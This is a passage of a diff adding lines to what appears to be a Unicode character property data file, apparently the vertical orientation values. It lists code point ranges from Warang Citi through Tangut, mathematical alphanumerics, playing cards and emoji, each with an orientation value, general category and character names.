+118A0..118DF ; R # L& [64] WARANG CITI CAPITAL LETTER NGAA..WARANG CITI SMALL LETTER VIYO
+118E0..118E9 ; R # Nd [10] WARANG CITI DIGIT ZERO..WARANG CITI DIGIT NINE
+118EA..118F2 ; R # No [9] WARANG CITI NUMBER TEN..WARANG CITI NUMBER NINETY
+118FF ; R # Lo WARANG CITI OM
+11A00 ; U # Lo ZANABAZAR SQUARE LETTER A
+11A01..11A06 ; U # Mn [6] ZANABAZAR SQUARE VOWEL SIGN I..ZANABAZAR SQUARE VOWEL SIGN O
+11A07..11A08 ; U # Mc [2] ZANABAZAR SQUARE VOWEL SIGN AI..ZANABAZAR SQUARE VOWEL SIGN AU
+11A09..11A0A ; U # Mn [2] ZANABAZAR SQUARE VOWEL SIGN REVERSED I..ZANABAZAR SQUARE VOWEL LENGTH MARK
+11A0B..11A32 ; U # Lo [40] ZANABAZAR SQUARE LETTER KA..ZANABAZAR SQUARE LETTER KSSA
+11A33..11A38 ; U # Mn [6] ZANABAZAR SQUARE FINAL CONSONANT MARK..ZANABAZAR SQUARE SIGN ANUSVARA
+11A39 ; U # Mc ZANABAZAR SQUARE SIGN VISARGA
+11A3A ; U # Lo ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA
+11A3B..11A3E ; U # Mn [4] ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA..ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA
+11A3F..11A46 ; U # Po [8] ZANABAZAR SQUARE INITIAL HEAD MARK..ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK
+11A47 ; U # Mn ZANABAZAR SQUARE SUBJOINER
+11A48..11A4F ; U # Cn [8] <reserved-11A48>..<reserved-11A4F>
+11A50 ; U # Lo SOYOMBO LETTER A
+11A51..11A56 ; U # Mn [6] SOYOMBO VOWEL SIGN I..SOYOMBO VOWEL SIGN OE
+11A57..11A58 ; U # Mc [2] SOYOMBO VOWEL SIGN AI..SOYOMBO VOWEL SIGN AU
+11A59..11A5B ; U # Mn [3] SOYOMBO VOWEL SIGN VOCALIC R..SOYOMBO VOWEL LENGTH MARK
+11A5C..11A83 ; U # Lo [40] SOYOMBO LETTER KA..SOYOMBO LETTER KSSA
+11A84..11A85 ; U # Cn [2] <reserved-11A84>..<reserved-11A85>
+11A86..11A89 ; U # Lo [4] SOYOMBO CLUSTER-INITIAL LETTER RA..SOYOMBO CLUSTER-INITIAL LETTER SA
+11A8A..11A96 ; U # Mn [13] SOYOMBO FINAL CONSONANT SIGN G..SOYOMBO SIGN ANUSVARA
+11A97 ; U # Mc SOYOMBO SIGN VISARGA
+11A98..11A99 ; U # Mn [2] SOYOMBO GEMINATION MARK..SOYOMBO SUBJOINER
+11A9A..11A9C ; U # Po [3] SOYOMBO MARK TSHEG..SOYOMBO MARK DOUBLE SHAD
+11A9D ; U # Cn <reserved-11A9D>
+11A9E..11AA2 ; U # Po [5] SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME..SOYOMBO TERMINAL MARK-2
+11AA3..11AAF ; U # Cn [13] <reserved-11AA3>..<reserved-11AAF>
+11AC0..11AF8 ; R # Lo [57] PAU CIN HAU LETTER PA..PAU CIN HAU GLOTTAL STOP FINAL
+11C00..11C08 ; R # Lo [9] BHAIKSUKI LETTER A..BHAIKSUKI LETTER VOCALIC L
+11C0A..11C2E ; R # Lo [37] BHAIKSUKI LETTER E..BHAIKSUKI LETTER HA
+11C2F ; R # Mc BHAIKSUKI VOWEL SIGN AA
+11C30..11C36 ; R # Mn [7] BHAIKSUKI VOWEL SIGN I..BHAIKSUKI VOWEL SIGN VOCALIC L
+11C38..11C3D ; R # Mn [6] BHAIKSUKI VOWEL SIGN E..BHAIKSUKI SIGN ANUSVARA
+11C3E ; R # Mc BHAIKSUKI SIGN VISARGA
+11C3F ; R # Mn BHAIKSUKI SIGN VIRAMA
+11C40 ; R # Lo BHAIKSUKI SIGN AVAGRAHA
+11C41..11C45 ; R # Po [5] BHAIKSUKI DANDA..BHAIKSUKI GAP FILLER-2
+11C50..11C59 ; R # Nd [10] BHAIKSUKI DIGIT ZERO..BHAIKSUKI DIGIT NINE
+11C5A..11C6C ; R # No [19] BHAIKSUKI NUMBER ONE..BHAIKSUKI HUNDREDS UNIT MARK
+11C70..11C71 ; R # Po [2] MARCHEN HEAD MARK..MARCHEN MARK SHAD
+11C72..11C8F ; R # Lo [30] MARCHEN LETTER KA..MARCHEN LETTER A
+11C92..11CA7 ; R # Mn [22] MARCHEN SUBJOINED LETTER KA..MARCHEN SUBJOINED LETTER ZA
+11CA9 ; R # Mc MARCHEN SUBJOINED LETTER YA
+11CAA..11CB0 ; R # Mn [7] MARCHEN SUBJOINED LETTER RA..MARCHEN VOWEL SIGN AA
+11CB1 ; R # Mc MARCHEN VOWEL SIGN I
+11CB2..11CB3 ; R # Mn [2] MARCHEN VOWEL SIGN U..MARCHEN VOWEL SIGN E
+11CB4 ; R # Mc MARCHEN VOWEL SIGN O
+11CB5..11CB6 ; R # Mn [2] MARCHEN SIGN ANUSVARA..MARCHEN SIGN CANDRABINDU
+11D00..11D06 ; R # Lo [7] MASARAM GONDI LETTER A..MASARAM GONDI LETTER E
+11D08..11D09 ; R # Lo [2] MASARAM GONDI LETTER AI..MASARAM GONDI LETTER O
+11D0B..11D30 ; R # Lo [38] MASARAM GONDI LETTER AU..MASARAM GONDI LETTER TRA
+11D31..11D36 ; R # Mn [6] MASARAM GONDI VOWEL SIGN AA..MASARAM GONDI VOWEL SIGN VOCALIC R
+11D3A ; R # Mn MASARAM GONDI VOWEL SIGN E
+11D3C..11D3D ; R # Mn [2] MASARAM GONDI VOWEL SIGN AI..MASARAM GONDI VOWEL SIGN O
+11D3F..11D45 ; R # Mn [7] MASARAM GONDI VOWEL SIGN AU..MASARAM GONDI VIRAMA
+11D46 ; R # Lo MASARAM GONDI REPHA
+11D47 ; R # Mn MASARAM GONDI RA-KARA
+11D50..11D59 ; R # Nd [10] MASARAM GONDI DIGIT ZERO..MASARAM GONDI DIGIT NINE
+12000..12399 ; R # Lo [922] CUNEIFORM SIGN A..CUNEIFORM SIGN U U
+12400..1246E ; R # Nl [111] CUNEIFORM NUMERIC SIGN TWO ASH..CUNEIFORM NUMERIC SIGN NINE U VARIANT FORM
+12470..12474 ; R # Po [5] CUNEIFORM PUNCTUATION SIGN OLD ASSYRIAN WORD DIVIDER..CUNEIFORM PUNCTUATION SIGN DIAGONAL QUADCOLON
+12480..12543 ; R # Lo [196] CUNEIFORM SIGN AB TIMES NUN TENU..CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU
+13000..1342E ; U # Lo [1071] EGYPTIAN HIEROGLYPH A001..EGYPTIAN HIEROGLYPH AA032
+1342F ; U # Cn <reserved-1342F>
+14400..14646 ; U # Lo [583] ANATOLIAN HIEROGLYPH A001..ANATOLIAN HIEROGLYPH A530
+14647..1467F ; U # Cn [57] <reserved-14647>..<reserved-1467F>
+16800..16A38 ; R # Lo [569] BAMUM LETTER PHASE-A NGKUE MFON..BAMUM LETTER PHASE-F VUEQ
+16A40..16A5E ; R # Lo [31] MRO LETTER TA..MRO LETTER TEK
+16A60..16A69 ; R # Nd [10] MRO DIGIT ZERO..MRO DIGIT NINE
+16A6E..16A6F ; R # Po [2] MRO DANDA..MRO DOUBLE DANDA
+16AD0..16AED ; R # Lo [30] BASSA VAH LETTER ENNI..BASSA VAH LETTER I
+16AF0..16AF4 ; R # Mn [5] BASSA VAH COMBINING HIGH TONE..BASSA VAH COMBINING HIGH-LOW TONE
+16AF5 ; R # Po BASSA VAH FULL STOP
+16B00..16B2F ; R # Lo [48] PAHAWH HMONG VOWEL KEEB..PAHAWH HMONG CONSONANT CAU
+16B30..16B36 ; R # Mn [7] PAHAWH HMONG MARK CIM TUB..PAHAWH HMONG MARK CIM TAUM
+16B37..16B3B ; R # Po [5] PAHAWH HMONG SIGN VOS THOM..PAHAWH HMONG SIGN VOS FEEM
+16B3C..16B3F ; R # So [4] PAHAWH HMONG SIGN XYEEM NTXIV..PAHAWH HMONG SIGN XYEEM FAIB
+16B40..16B43 ; R # Lm [4] PAHAWH HMONG SIGN VOS SEEV..PAHAWH HMONG SIGN IB YAM
+16B44 ; R # Po PAHAWH HMONG SIGN XAUS
+16B45 ; R # So PAHAWH HMONG SIGN CIM TSOV ROG
+16B50..16B59 ; R # Nd [10] PAHAWH HMONG DIGIT ZERO..PAHAWH HMONG DIGIT NINE
+16B5B..16B61 ; R # No [7] PAHAWH HMONG NUMBER TENS..PAHAWH HMONG NUMBER TRILLIONS
+16B63..16B77 ; R # Lo [21] PAHAWH HMONG SIGN VOS LUB..PAHAWH HMONG SIGN CIM NRES TOS
+16B7D..16B8F ; R # Lo [19] PAHAWH HMONG CLAN SIGN TSHEEJ..PAHAWH HMONG CLAN SIGN VWJ
+16F00..16F44 ; R # Lo [69] MIAO LETTER PA..MIAO LETTER HHA
+16F50 ; R # Lo MIAO LETTER NASALIZATION
+16F51..16F7E ; R # Mc [46] MIAO SIGN ASPIRATION..MIAO VOWEL SIGN NG
+16F8F..16F92 ; R # Mn [4] MIAO TONE RIGHT..MIAO TONE BELOW
+16F93..16F9F ; R # Lm [13] MIAO LETTER TONE-2..MIAO LETTER REFORMED TONE-8
+16FE0..16FE1 ; U # Lm [2] TANGUT ITERATION MARK..NUSHU ITERATION MARK
+16FE2..16FFF ; U # Cn [30] <reserved-16FE2>..<reserved-16FFF>
+17000..187EC ; U # Lo [6125] TANGUT IDEOGRAPH-17000..TANGUT IDEOGRAPH-187EC
+187ED..187FF ; U # Cn [19] <reserved-187ED>..<reserved-187FF>
+18800..18AF2 ; U # Lo [755] TANGUT COMPONENT-001..TANGUT COMPONENT-755
+18AF3..18AFF ; U # Cn [13] <reserved-18AF3>..<reserved-18AFF>
+1B000..1B0FF ; U # Lo [256] KATAKANA LETTER ARCHAIC E..HENTAIGANA LETTER RE-2
+1B100..1B11E ; U # Lo [31] HENTAIGANA LETTER RE-3..HENTAIGANA LETTER N-MU-MO-2
+1B11F..1B12F ; U # Cn [17] <reserved-1B11F>..<reserved-1B12F>
+1B170..1B2FB ; U # Lo [396] NUSHU CHARACTER-1B170..NUSHU CHARACTER-1B2FB
+1B2FC..1B2FF ; U # Cn [4] <reserved-1B2FC>..<reserved-1B2FF>
+1BC00..1BC6A ; R # Lo [107] DUPLOYAN LETTER H..DUPLOYAN LETTER VOCALIC M
+1BC70..1BC7C ; R # Lo [13] DUPLOYAN AFFIX LEFT HORIZONTAL SECANT..DUPLOYAN AFFIX ATTACHED TANGENT HOOK
+1BC80..1BC88 ; R # Lo [9] DUPLOYAN AFFIX HIGH ACUTE..DUPLOYAN AFFIX HIGH VERTICAL
+1BC90..1BC99 ; R # Lo [10] DUPLOYAN AFFIX LOW ACUTE..DUPLOYAN AFFIX LOW ARROW
+1BC9C ; R # So DUPLOYAN SIGN O WITH CROSS
+1BC9D..1BC9E ; R # Mn [2] DUPLOYAN THICK LETTER SELECTOR..DUPLOYAN DOUBLE MARK
+1BC9F ; R # Po DUPLOYAN PUNCTUATION CHINOOK FULL STOP
+1BCA0..1BCA3 ; R # Cf [4] SHORTHAND FORMAT LETTER OVERLAP..SHORTHAND FORMAT UP STEP
+1D000..1D0F5 ; U # So [246] BYZANTINE MUSICAL SYMBOL PSILI..BYZANTINE MUSICAL SYMBOL GORGON NEO KATO
+1D0F6..1D0FF ; U # Cn [10] <reserved-1D0F6>..<reserved-1D0FF>
+1D100..1D126 ; U # So [39] MUSICAL SYMBOL SINGLE BARLINE..MUSICAL SYMBOL DRUM CLEF-2
+1D127..1D128 ; U # Cn [2] <reserved-1D127>..<reserved-1D128>
+1D129..1D164 ; U # So [60] MUSICAL SYMBOL MULTIPLE MEASURE REST..MUSICAL SYMBOL ONE HUNDRED TWENTY-EIGHTH NOTE
+1D165..1D166 ; U # Mc [2] MUSICAL SYMBOL COMBINING STEM..MUSICAL SYMBOL COMBINING SPRECHGESANG STEM
+1D167..1D169 ; U # Mn [3] MUSICAL SYMBOL COMBINING TREMOLO-1..MUSICAL SYMBOL COMBINING TREMOLO-3
+1D16A..1D16C ; U # So [3] MUSICAL SYMBOL FINGERED TREMOLO-1..MUSICAL SYMBOL FINGERED TREMOLO-3
+1D16D..1D172 ; U # Mc [6] MUSICAL SYMBOL COMBINING AUGMENTATION DOT..MUSICAL SYMBOL COMBINING FLAG-5
+1D173..1D17A ; U # Cf [8] MUSICAL SYMBOL BEGIN BEAM..MUSICAL SYMBOL END PHRASE
+1D17B..1D182 ; U # Mn [8] MUSICAL SYMBOL COMBINING ACCENT..MUSICAL SYMBOL COMBINING LOURE
+1D183..1D184 ; U # So [2] MUSICAL SYMBOL ARPEGGIATO UP..MUSICAL SYMBOL ARPEGGIATO DOWN
+1D185..1D18B ; U # Mn [7] MUSICAL SYMBOL COMBINING DOIT..MUSICAL SYMBOL COMBINING TRIPLE TONGUE
+1D18C..1D1A9 ; U # So [30] MUSICAL SYMBOL RINFORZANDO..MUSICAL SYMBOL DEGREE SLASH
+1D1AA..1D1AD ; U # Mn [4] MUSICAL SYMBOL COMBINING DOWN BOW..MUSICAL SYMBOL COMBINING SNAP PIZZICATO
+1D1AE..1D1E8 ; U # So [59] MUSICAL SYMBOL PEDAL MARK..MUSICAL SYMBOL KIEVAN FLAT SIGN
+1D1E9..1D1FF ; U # Cn [23] <reserved-1D1E9>..<reserved-1D1FF>
+1D200..1D241 ; R # So [66] GREEK VOCAL NOTATION SYMBOL-1..GREEK INSTRUMENTAL NOTATION SYMBOL-54
+1D242..1D244 ; R # Mn [3] COMBINING GREEK MUSICAL TRISEME..COMBINING GREEK MUSICAL PENTASEME
+1D245 ; R # So GREEK MUSICAL LEIMMA
+1D300..1D356 ; U # So [87] MONOGRAM FOR EARTH..TETRAGRAM FOR FOSTERING
+1D357..1D35F ; U # Cn [9] <reserved-1D357>..<reserved-1D35F>
+1D360..1D371 ; U # No [18] COUNTING ROD UNIT DIGIT ONE..COUNTING ROD TENS DIGIT NINE
+1D372..1D37F ; U # Cn [14] <reserved-1D372>..<reserved-1D37F>
+1D400..1D454 ; R # L& [85] MATHEMATICAL BOLD CAPITAL A..MATHEMATICAL ITALIC SMALL G
+1D456..1D49C ; R # L& [71] MATHEMATICAL ITALIC SMALL I..MATHEMATICAL SCRIPT CAPITAL A
+1D49E..1D49F ; R # Lu [2] MATHEMATICAL SCRIPT CAPITAL C..MATHEMATICAL SCRIPT CAPITAL D
+1D4A2 ; R # Lu MATHEMATICAL SCRIPT CAPITAL G
+1D4A5..1D4A6 ; R # Lu [2] MATHEMATICAL SCRIPT CAPITAL J..MATHEMATICAL SCRIPT CAPITAL K
+1D4A9..1D4AC ; R # Lu [4] MATHEMATICAL SCRIPT CAPITAL N..MATHEMATICAL SCRIPT CAPITAL Q
+1D4AE..1D4B9 ; R # L& [12] MATHEMATICAL SCRIPT CAPITAL S..MATHEMATICAL SCRIPT SMALL D
+1D4BB ; R # Ll MATHEMATICAL SCRIPT SMALL F
+1D4BD..1D4C3 ; R # Ll [7] MATHEMATICAL SCRIPT SMALL H..MATHEMATICAL SCRIPT SMALL N
+1D4C5..1D505 ; R # L& [65] MATHEMATICAL SCRIPT SMALL P..MATHEMATICAL FRAKTUR CAPITAL B
+1D507..1D50A ; R # Lu [4] MATHEMATICAL FRAKTUR CAPITAL D..MATHEMATICAL FRAKTUR CAPITAL G
+1D50D..1D514 ; R # Lu [8] MATHEMATICAL FRAKTUR CAPITAL J..MATHEMATICAL FRAKTUR CAPITAL Q
+1D516..1D51C ; R # Lu [7] MATHEMATICAL FRAKTUR CAPITAL S..MATHEMATICAL FRAKTUR CAPITAL Y
+1D51E..1D539 ; R # L& [28] MATHEMATICAL FRAKTUR SMALL A..MATHEMATICAL DOUBLE-STRUCK CAPITAL B
+1D53B..1D53E ; R # Lu [4] MATHEMATICAL DOUBLE-STRUCK CAPITAL D..MATHEMATICAL DOUBLE-STRUCK CAPITAL G
+1D540..1D544 ; R # Lu [5] MATHEMATICAL DOUBLE-STRUCK CAPITAL I..MATHEMATICAL DOUBLE-STRUCK CAPITAL M
+1D546 ; R # Lu MATHEMATICAL DOUBLE-STRUCK CAPITAL O
+1D54A..1D550 ; R # Lu [7] MATHEMATICAL DOUBLE-STRUCK CAPITAL S..MATHEMATICAL DOUBLE-STRUCK CAPITAL Y
+1D552..1D6A5 ; R # L& [340] MATHEMATICAL DOUBLE-STRUCK SMALL A..MATHEMATICAL ITALIC SMALL DOTLESS J
+1D6A8..1D6C0 ; R # Lu [25] MATHEMATICAL BOLD CAPITAL ALPHA..MATHEMATICAL BOLD CAPITAL OMEGA
+1D6C1 ; R # Sm MATHEMATICAL BOLD NABLA
+1D6C2..1D6DA ; R # Ll [25] MATHEMATICAL BOLD SMALL ALPHA..MATHEMATICAL BOLD SMALL OMEGA
+1D6DB ; R # Sm MATHEMATICAL BOLD PARTIAL DIFFERENTIAL
+1D6DC..1D6FA ; R # L& [31] MATHEMATICAL BOLD EPSILON SYMBOL..MATHEMATICAL ITALIC CAPITAL OMEGA
+1D6FB ; R # Sm MATHEMATICAL ITALIC NABLA
+1D6FC..1D714 ; R # Ll [25] MATHEMATICAL ITALIC SMALL ALPHA..MATHEMATICAL ITALIC SMALL OMEGA
+1D715 ; R # Sm MATHEMATICAL ITALIC PARTIAL DIFFERENTIAL
+1D716..1D734 ; R # L& [31] MATHEMATICAL ITALIC EPSILON SYMBOL..MATHEMATICAL BOLD ITALIC CAPITAL OMEGA
+1D735 ; R # Sm MATHEMATICAL BOLD ITALIC NABLA
+1D736..1D74E ; R # Ll [25] MATHEMATICAL BOLD ITALIC SMALL ALPHA..MATHEMATICAL BOLD ITALIC SMALL OMEGA
+1D74F ; R # Sm MATHEMATICAL BOLD ITALIC PARTIAL DIFFERENTIAL
+1D750..1D76E ; R # L& [31] MATHEMATICAL BOLD ITALIC EPSILON SYMBOL..MATHEMATICAL SANS-SERIF BOLD CAPITAL OMEGA
+1D76F ; R # Sm MATHEMATICAL SANS-SERIF BOLD NABLA
+1D770..1D788 ; R # Ll [25] MATHEMATICAL SANS-SERIF BOLD SMALL ALPHA..MATHEMATICAL SANS-SERIF BOLD SMALL OMEGA
+1D789 ; R # Sm MATHEMATICAL SANS-SERIF BOLD PARTIAL DIFFERENTIAL
+1D78A..1D7A8 ; R # L& [31] MATHEMATICAL SANS-SERIF BOLD EPSILON SYMBOL..MATHEMATICAL SANS-SERIF BOLD ITALIC CAPITAL OMEGA
+1D7A9 ; R # Sm MATHEMATICAL SANS-SERIF BOLD ITALIC NABLA
+1D7AA..1D7C2 ; R # Ll [25] MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL ALPHA..MATHEMATICAL SANS-SERIF BOLD ITALIC SMALL OMEGA
+1D7C3 ; R # Sm MATHEMATICAL SANS-SERIF BOLD ITALIC PARTIAL DIFFERENTIAL
+1D7C4..1D7CB ; R # L& [8] MATHEMATICAL SANS-SERIF BOLD ITALIC EPSILON SYMBOL..MATHEMATICAL BOLD SMALL DIGAMMA
+1D7CE..1D7FF ; R # Nd [50] MATHEMATICAL BOLD DIGIT ZERO..MATHEMATICAL MONOSPACE DIGIT NINE
+1D800..1D9FF ; U # So [512] SIGNWRITING HAND-FIST INDEX..SIGNWRITING HEAD
+1DA00..1DA36 ; U # Mn [55] SIGNWRITING HEAD RIM..SIGNWRITING AIR SUCKING IN
+1DA37..1DA3A ; U # So [4] SIGNWRITING AIR BLOW SMALL ROTATIONS..SIGNWRITING BREATH EXHALE
+1DA3B..1DA6C ; U # Mn [50] SIGNWRITING MOUTH CLOSED NEUTRAL..SIGNWRITING EXCITEMENT
+1DA6D..1DA74 ; U # So [8] SIGNWRITING SHOULDER HIP SPINE..SIGNWRITING TORSO-FLOORPLANE TWISTING
+1DA75 ; U # Mn SIGNWRITING UPPER BODY TILTING FROM HIP JOINTS
+1DA76..1DA83 ; U # So [14] SIGNWRITING LIMB COMBINATION..SIGNWRITING LOCATION DEPTH
+1DA84 ; U # Mn SIGNWRITING LOCATION HEAD NECK
+1DA85..1DA86 ; U # So [2] SIGNWRITING LOCATION TORSO..SIGNWRITING LOCATION LIMBS DIGITS
+1DA87..1DA8B ; U # Po [5] SIGNWRITING COMMA..SIGNWRITING PARENTHESIS
+1DA8C..1DA9A ; U # Cn [15] <reserved-1DA8C>..<reserved-1DA9A>
+1DA9B..1DA9F ; U # Mn [5] SIGNWRITING FILL MODIFIER-2..SIGNWRITING FILL MODIFIER-6
+1DAA0 ; U # Cn <reserved-1DAA0>
+1DAA1..1DAAF ; U # Mn [15] SIGNWRITING ROTATION MODIFIER-2..SIGNWRITING ROTATION MODIFIER-16
+1E000..1E006 ; R # Mn [7] COMBINING GLAGOLITIC LETTER AZU..COMBINING GLAGOLITIC LETTER ZHIVETE
+1E008..1E018 ; R # Mn [17] COMBINING GLAGOLITIC LETTER ZEMLJA..COMBINING GLAGOLITIC LETTER HERU
+1E01B..1E021 ; R # Mn [7] COMBINING GLAGOLITIC LETTER SHTA..COMBINING GLAGOLITIC LETTER YATI
+1E023..1E024 ; R # Mn [2] COMBINING GLAGOLITIC LETTER YU..COMBINING GLAGOLITIC LETTER SMALL YUS
+1E026..1E02A ; R # Mn [5] COMBINING GLAGOLITIC LETTER YO..COMBINING GLAGOLITIC LETTER FITA
+1E800..1E8C4 ; R # Lo [197] MENDE KIKAKUI SYLLABLE M001 KI..MENDE KIKAKUI SYLLABLE M060 NYON
+1E8C7..1E8CF ; R # No [9] MENDE KIKAKUI DIGIT ONE..MENDE KIKAKUI DIGIT NINE
+1E8D0..1E8D6 ; R # Mn [7] MENDE KIKAKUI COMBINING NUMBER TEENS..MENDE KIKAKUI COMBINING NUMBER MILLIONS
+1E900..1E943 ; R # L& [68] ADLAM CAPITAL LETTER ALIF..ADLAM SMALL LETTER SHA
+1E944..1E94A ; R # Mn [7] ADLAM ALIF LENGTHENER..ADLAM NUKTA
+1E950..1E959 ; R # Nd [10] ADLAM DIGIT ZERO..ADLAM DIGIT NINE
+1E95E..1E95F ; R # Po [2] ADLAM INITIAL EXCLAMATION MARK..ADLAM INITIAL QUESTION MARK
+1EE00..1EE03 ; R # Lo [4] ARABIC MATHEMATICAL ALEF..ARABIC MATHEMATICAL DAL
+1EE05..1EE1F ; R # Lo [27] ARABIC MATHEMATICAL WAW..ARABIC MATHEMATICAL DOTLESS QAF
+1EE21..1EE22 ; R # Lo [2] ARABIC MATHEMATICAL INITIAL BEH..ARABIC MATHEMATICAL INITIAL JEEM
+1EE24 ; R # Lo ARABIC MATHEMATICAL INITIAL HEH
+1EE27 ; R # Lo ARABIC MATHEMATICAL INITIAL HAH
+1EE29..1EE32 ; R # Lo [10] ARABIC MATHEMATICAL INITIAL YEH..ARABIC MATHEMATICAL INITIAL QAF
+1EE34..1EE37 ; R # Lo [4] ARABIC MATHEMATICAL INITIAL SHEEN..ARABIC MATHEMATICAL INITIAL KHAH
+1EE39 ; R # Lo ARABIC MATHEMATICAL INITIAL DAD
+1EE3B ; R # Lo ARABIC MATHEMATICAL INITIAL GHAIN
+1EE42 ; R # Lo ARABIC MATHEMATICAL TAILED JEEM
+1EE47 ; R # Lo ARABIC MATHEMATICAL TAILED HAH
+1EE49 ; R # Lo ARABIC MATHEMATICAL TAILED YEH
+1EE4B ; R # Lo ARABIC MATHEMATICAL TAILED LAM
+1EE4D..1EE4F ; R # Lo [3] ARABIC MATHEMATICAL TAILED NOON..ARABIC MATHEMATICAL TAILED AIN
+1EE51..1EE52 ; R # Lo [2] ARABIC MATHEMATICAL TAILED SAD..ARABIC MATHEMATICAL TAILED QAF
+1EE54 ; R # Lo ARABIC MATHEMATICAL TAILED SHEEN
+1EE57 ; R # Lo ARABIC MATHEMATICAL TAILED KHAH
+1EE59 ; R # Lo ARABIC MATHEMATICAL TAILED DAD
+1EE5B ; R # Lo ARABIC MATHEMATICAL TAILED GHAIN
+1EE5D ; R # Lo ARABIC MATHEMATICAL TAILED DOTLESS NOON
+1EE5F ; R # Lo ARABIC MATHEMATICAL TAILED DOTLESS QAF
+1EE61..1EE62 ; R # Lo [2] ARABIC MATHEMATICAL STRETCHED BEH..ARABIC MATHEMATICAL STRETCHED JEEM
+1EE64 ; R # Lo ARABIC MATHEMATICAL STRETCHED HEH
+1EE67..1EE6A ; R # Lo [4] ARABIC MATHEMATICAL STRETCHED HAH..ARABIC MATHEMATICAL STRETCHED KAF
+1EE6C..1EE72 ; R # Lo [7] ARABIC MATHEMATICAL STRETCHED MEEM..ARABIC MATHEMATICAL STRETCHED QAF
+1EE74..1EE77 ; R # Lo [4] ARABIC MATHEMATICAL STRETCHED SHEEN..ARABIC MATHEMATICAL STRETCHED KHAH
+1EE79..1EE7C ; R # Lo [4] ARABIC MATHEMATICAL STRETCHED DAD..ARABIC MATHEMATICAL STRETCHED DOTLESS BEH
+1EE7E ; R # Lo ARABIC MATHEMATICAL STRETCHED DOTLESS FEH
+1EE80..1EE89 ; R # Lo [10] ARABIC MATHEMATICAL LOOPED ALEF..ARABIC MATHEMATICAL LOOPED YEH
+1EE8B..1EE9B ; R # Lo [17] ARABIC MATHEMATICAL LOOPED LAM..ARABIC MATHEMATICAL LOOPED GHAIN
+1EEA1..1EEA3 ; R # Lo [3] ARABIC MATHEMATICAL DOUBLE-STRUCK BEH..ARABIC MATHEMATICAL DOUBLE-STRUCK DAL
+1EEA5..1EEA9 ; R # Lo [5] ARABIC MATHEMATICAL DOUBLE-STRUCK WAW..ARABIC MATHEMATICAL DOUBLE-STRUCK YEH
+1EEAB..1EEBB ; R # Lo [17] ARABIC MATHEMATICAL DOUBLE-STRUCK LAM..ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN
+1EEF0..1EEF1 ; R # Sm [2] ARABIC MATHEMATICAL OPERATOR MEEM WITH HAH WITH TATWEEL..ARABIC MATHEMATICAL OPERATOR HAH WITH DAL
+1F000..1F02B ; U # So [44] MAHJONG TILE EAST WIND..MAHJONG TILE BACK
+1F02C..1F02F ; U # Cn [4] <reserved-1F02C>..<reserved-1F02F>
+1F030..1F093 ; U # So [100] DOMINO TILE HORIZONTAL BACK..DOMINO TILE VERTICAL-06-06
+1F094..1F09F ; U # Cn [12] <reserved-1F094>..<reserved-1F09F>
+1F0A0..1F0AE ; U # So [15] PLAYING CARD BACK..PLAYING CARD KING OF SPADES
+1F0AF..1F0B0 ; U # Cn [2] <reserved-1F0AF>..<reserved-1F0B0>
+1F0B1..1F0BF ; U # So [15] PLAYING CARD ACE OF HEARTS..PLAYING CARD RED JOKER
+1F0C0 ; U # Cn <reserved-1F0C0>
+1F0C1..1F0CF ; U # So [15] PLAYING CARD ACE OF DIAMONDS..PLAYING CARD BLACK JOKER
+1F0D0 ; U # Cn <reserved-1F0D0>
+1F0D1..1F0F5 ; U # So [37] PLAYING CARD ACE OF CLUBS..PLAYING CARD TRUMP-21
+1F0F6..1F0FF ; U # Cn [10] <reserved-1F0F6>..<reserved-1F0FF>
+1F100..1F10C ; U # No [13] DIGIT ZERO FULL STOP..DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT ZERO
+1F10D..1F10F ; U # Cn [3] <reserved-1F10D>..<reserved-1F10F>
+1F110..1F12E ; U # So [31] PARENTHESIZED LATIN CAPITAL LETTER A..CIRCLED WZ
+1F12F ; U # Cn <reserved-1F12F>
+1F130..1F16B ; U # So [60] SQUARED LATIN CAPITAL LETTER A..RAISED MD SIGN
+1F16C..1F16F ; U # Cn [4] <reserved-1F16C>..<reserved-1F16F>
+1F170..1F1AC ; U # So [61] NEGATIVE SQUARED LATIN CAPITAL LETTER A..SQUARED VOD
+1F1AD..1F1E5 ; U # Cn [57] <reserved-1F1AD>..<reserved-1F1E5>
+1F1E6..1F1FF ; U # So [26] REGIONAL INDICATOR SYMBOL LETTER A..REGIONAL INDICATOR SYMBOL LETTER Z
+1F200..1F201 ; Tu # So [2] SQUARE HIRAGANA HOKA..SQUARED KATAKANA KOKO
+1F202 ; U # So SQUARED KATAKANA SA
+1F203..1F20F ; U # Cn [13] <reserved-1F203>..<reserved-1F20F>
+1F210..1F23B ; U # So [44] SQUARED CJK UNIFIED IDEOGRAPH-624B..SQUARED CJK UNIFIED IDEOGRAPH-914D
+1F23C..1F23F ; U # Cn [4] <reserved-1F23C>..<reserved-1F23F>
+1F240..1F248 ; U # So [9] TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-672C..TORTOISE SHELL BRACKETED CJK UNIFIED IDEOGRAPH-6557
+1F249..1F24F ; U # Cn [7] <reserved-1F249>..<reserved-1F24F>
+1F250..1F251 ; U # So [2] CIRCLED IDEOGRAPH ADVANTAGE..CIRCLED IDEOGRAPH ACCEPT
+1F252..1F25F ; U # Cn [14] <reserved-1F252>..<reserved-1F25F>
+1F260..1F265 ; U # So [6] ROUNDED SYMBOL FOR FU..ROUNDED SYMBOL FOR CAI
+1F266..1F2FF ; U # Cn [154] <reserved-1F266>..<reserved-1F2FF>
+1F300..1F3FA ; U # So [251] CYCLONE..AMPHORA
+1F3FB..1F3FF ; U # Sk [5] EMOJI MODIFIER FITZPATRICK TYPE-1-2..EMOJI MODIFIER FITZPATRICK TYPE-6
+1F400..1F5FF ; U # So [512] RAT..MOYAI
+1F600..1F64F ; U # So [80] GRINNING FACE..PERSON WITH FOLDED HANDS
+1F650..1F67F ; U # So [48] NORTH WEST POINTING LEAF..REVERSE CHECKER BOARD
+1F680..1F6D4 ; U # So [85] ROCKET..PAGODA
+1F6D5..1F6DF ; U # Cn [11] <reserved-1F6D5>..<reserved-1F6DF>
+1F6E0..1F6EC ; U # So [13] HAMMER AND WRENCH..AIRPLANE ARRIVING
